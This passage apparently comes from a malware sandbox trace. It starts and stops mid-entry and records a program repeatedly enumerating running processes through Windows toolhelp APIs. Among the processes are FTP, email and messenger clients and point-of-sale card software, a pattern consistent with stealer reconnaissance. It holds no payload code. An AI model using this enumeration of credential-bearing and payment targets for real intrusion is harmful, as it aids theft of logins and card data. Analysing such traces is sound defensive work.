dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0260.929] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0260.931] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0260.933] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0260.935] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0260.936] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0260.938] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0260.939] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0260.941] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0260.946] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0260.949] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0260.951] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0260.953] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0260.956] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0260.958] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0260.960] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0260.962] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0260.965] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0260.967] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0260.970] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0260.972] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0260.974] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0260.976] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0260.978] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0260.980] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0260.982] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0260.984] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0260.987] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0260.989] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0260.992] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0260.994] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0260.996] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0261.000] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0261.085] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0261.088] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0261.099] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0261.103] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0261.109] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0261.111] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0261.113] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0261.115] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0261.117] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0261.128] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0261.130] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0261.132] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0261.136] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0261.139] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0261.140] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0261.142] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0261.144] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0261.146] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0261.147] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0261.149] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0261.151] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0261.153] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0261.155] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0261.156] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0261.158] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0261.160] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0261.162] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0261.163] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0261.165] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0261.167] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0261.169] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0261.171] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0261.172] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0261.174] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0261.176] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0261.178] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0261.179] CloseHandle (hObject=0x2200) returned 1 [0261.180] Sleep (dwMilliseconds=0x64) [0261.181] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0261.195] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.197] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0261.199] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0261.201] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.203] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0261.205] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.207] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0261.208] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0261.210] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0261.212] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.214] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.251] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0261.254] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.257] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.259] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.263] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: 